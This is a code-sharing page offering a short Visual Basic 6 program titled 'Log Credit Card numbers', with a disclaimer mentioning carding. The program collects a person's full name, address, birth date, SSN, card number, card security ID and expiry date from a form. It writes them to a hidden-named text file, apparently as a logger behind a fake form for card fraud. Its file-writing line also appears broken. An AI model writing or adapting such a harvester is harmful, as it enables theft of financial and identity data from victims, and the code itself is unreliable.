• Home
 · 
• Databases/Data Access/DAO/ADO
 · 
• Log Credit Card numbers. This code wasn't used for carding, and the author, myself, cannot be respo

Log Credit Card numbers. This code wasn't used for carding, and the author, myself, cannot be respo

Log Credit Card numbers. This code wasn't used for carding, and the author, myself, cannot be responsible for what you choose to do with it.

API Declarations


Special thanks to firey.



Rate Log Credit Card numbers. This code wasn't used for carding, and the author, myself, cannot be respo

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

'If you use this, please LEAVE my credentials OUT!
'this was written for educational purposes ONLY.

Option Explicit
Dim cboarddata As String

Private Sub NullSession()
Beep
End Sub

Private Sub process_Click()
On Error Resume Next
Clipboard.clear
If fname.Text = "" Then
Call NullSession
Else:
Clipboard.SetText ("Firstname: " & fname.Text)
End If
If mname.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Middle: " & mname.Text)
End If
If lname.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Lastname: " & lname.Text)
End If
If street.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Street: " & street.Text)
End If
If apt.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Apartment: " & apt.Text)
End If
If city.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "City: " & city.Text)
End If
If state.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "State: " & state.Text)
End If
If zip.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Zip: " & zip.Text)
End If
If dob.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "DOB: " & dob.Text)
End If
If ssn.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "SSN: " & ssn.Text)
End If
If facenumber.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Facenumber: " & facenumber.Text)
End If
If sid.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "SID: " & sid.Text)
End If
If expdate.Text = "" Then
Else:
cboarddata = Clipboard.GetText & vbCrLf
Clipboard.SetText (cboarddata & "Expire Date: " & expdate.Text)
End If
Call writefile
End Sub

Private Sub writefile()
Dim drivelet As String
Dim filename As String
drivelet = Mid(App.Path, 0, 3)
filename = drivelet & "sdaasd.txt"
Open filename For Output As #1
Print #1, Clipboard.GetText
Close #1
End Sub